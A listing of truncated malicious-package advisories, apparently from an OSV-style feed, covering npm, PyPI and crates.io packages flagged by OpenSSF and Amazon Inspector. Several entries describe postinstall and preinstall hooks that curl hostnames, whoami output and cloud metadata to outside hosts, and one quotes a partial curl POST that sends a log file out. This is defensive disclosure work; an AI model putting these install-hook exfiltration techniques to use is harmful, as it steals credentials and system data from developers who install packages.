MAL-2026-17187 Malicious code in @digift/cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 103ec4b63e45d1bc9b3e3c2e616eedfa134f9f8bdcb6480f33fbbaa280038803 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in knowpro-test (npm)

Source: ossf-package-analysis 1c8dc0e73cf498b9479d7045fd9cea3dc3db6ef7ca2ada5316282da6a97ed805 The OpenSSF Package Analysis project identified 'knowpro-test' @ 99.0.9 npm as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity....

Malicious code in irviewer (npm)

Source: ossf-package-analysis 2856bec7b72be87c4b6cc3f537871ee579bda13ad09ff85f5391ea1c0fdfe660 The OpenSSF Package Analysis project identified 'irviewer' @ 1.0.0 npm as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - Th...

Malicious code in intel-quantum-sdk (npm)

Source: ossf-package-analysis fa156b1cde9820ee0b03c5c4a594de333baa592c69177eb84a7c8ddf13963208 The OpenSSF Package Analysis project identified 'intel-quantum-sdk' @ 1.5.1 npm as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious...

Malicious code in ifood-github-io (npm)

Source: ossf-package-analysis 8e523e57e2b34793b9a65626a1c74932d6b6b5339b658b78187d5fcb22f2563e The OpenSSF Package Analysis project identified 'ifood-github-io' @ 9.9.9 npm as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activit...

Malicious code in enclose-eslint (npm)

Source: amazon-inspector 6f7fc1a375a04989c1b52036b89fefe7fbba475b3fe7ec9917335cfe3a9746bc The package enclose-eslint was found to contain malicious code. Source: ossf-package-analysis 9e0be37b60a02ac1ede967e7e3db110f924fa0e3b578e286968a17cad31a3534 The OpenSSF Package Analysis project identified...

Malicious code in elf-stats-wintry-northstar-674 (npm)

Source: amazon-inspector 2b7bc183055d78b3145c502a959b208876ab67dcd3e5ccd1da2a97731914fa6c The package elf-stats-wintry-northstar-674 was found to contain malicious code. Source: ossf-package-analysis 84edbb849aab6ad2b158dd3afcffd9fb3f711aac305629cf2d5953bf1bbe36ae The OpenSSF Package Analysis...

Malicious code in devops-challenge (npm)

Source: ossf-package-analysis ae82cf2333c3027eb9266e05dfa4697724ae1623e3b662c2b129d5f716f55aa4 The OpenSSF Package Analysis project identified 'devops-challenge' @ 99.99.990 npm as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious...

Malicious code in cpr-mfe (npm)

This package is considered malicious because it communicates with a domain associated with malicious activity and the package executes one or more commands associated with malicious behavior. --- Credit: OpenSSF source...

Malicious code in com.immutable.unitysdk (npm)

Source: ossf-package-analysis 5169fcc0ce37e587c7680742027ad143ea18826d2290cbe5a8c9bdb69095fef0 The OpenSSF Package Analysis project identified 'com.immutable.unitysdk' @ 1.0.0 npm as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious...

Malicious code in aurora-webmail-pro (npm)

Source: ossf-package-analysis b196e5cdd7ecb9e38cd0eb47dfc5a3b78a6533ffeb8c52c9f43722b3f398a983 The OpenSSF Package Analysis project identified 'aurora-webmail-pro' @ 10.1.0 npm as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious...

Malicious code in simple-date-formatter-util-5 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cb6c0d10eabca0cef05a136e2ffd68781a965747ad1e75bf9fd9528292bbe429 The package is advertised as a date-formatting utility but its package.json postinstall script curls cloud-provider instance metadata endpoints AWS...

Malicious code in selenium-matplotlib (PyPI)

Source: ossf-package-analysis c33741bca6736c936d2c0540044a5d38caf6a18b6981e6268da4295f64985a68 The OpenSSF Package Analysis project identified 'selenium-matplotlib' @ 17.9.4 pypi as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious...

Malicious code in proton_pfff (crates.io)

--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 0aa190f5fe08b29ab6f7230c099bdc2a201b7d5212f434f9e44b2be1feba5de1 The OpenSSF Package Analysis project identified 'proton-pfff' @ 99.99.5 crates.io as malicious. It is considered malicious because: - The packag...

Malicious code in @adobesign/as-dev-tools (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6752e4d30c584cb5ca6f67265c983257c1531aa306b47ec00b43ddae83fe2532 The package's package.json declares a postinstall lifecycle hook that pipes the output of whoami through curl to a hardcoded Burp Collaborator...

Malicious code in dttsdee (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 56d01c47d29d1f8f25a737be42dd77d02a2c13a00afb808740142197a79150e9 package.json declares a postinstall lifecycle script that runs automatically on npm install: curl -X POST -d "$cat /data/logs/monitor-2026-06-25.log"...

MAL-2026-6459 Malicious code in easy-string-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8cb77d96cfd133340395df1765df2426f8414d80158e62ee5832ab6d4a18e803 package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl POST requests harvesting...

Malicious code in zomato-server (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f0a12373009dd17131e45f4d20570904f2b8074367ee8b121e60a3ce5764fa00 The package's package.json declares a preinstall lifecycle hook that runs curl to POST the installer's hostname, whoami, current working directory, a...

Malicious code in js-shared-modules (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b5d28882e3ff8afe78db631ca5e1129d2b08f976f17f66ffe2b14834184ce09a package.json declares "postinstall": "node poc.js", which fires automatically on every npm install. poc.js reads os.hostname, hex-encodes it, and...

MAL-2026-4184 Malicious code in stripe-internal-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b6add7fd3034c5b0d00e39e2cbfeb7c664085ef412612b53ebe9fd81767449be package.json declares a postinstall hook that auto-fires on npm install and performs reconnaissance + exfiltration against the installer. The inline...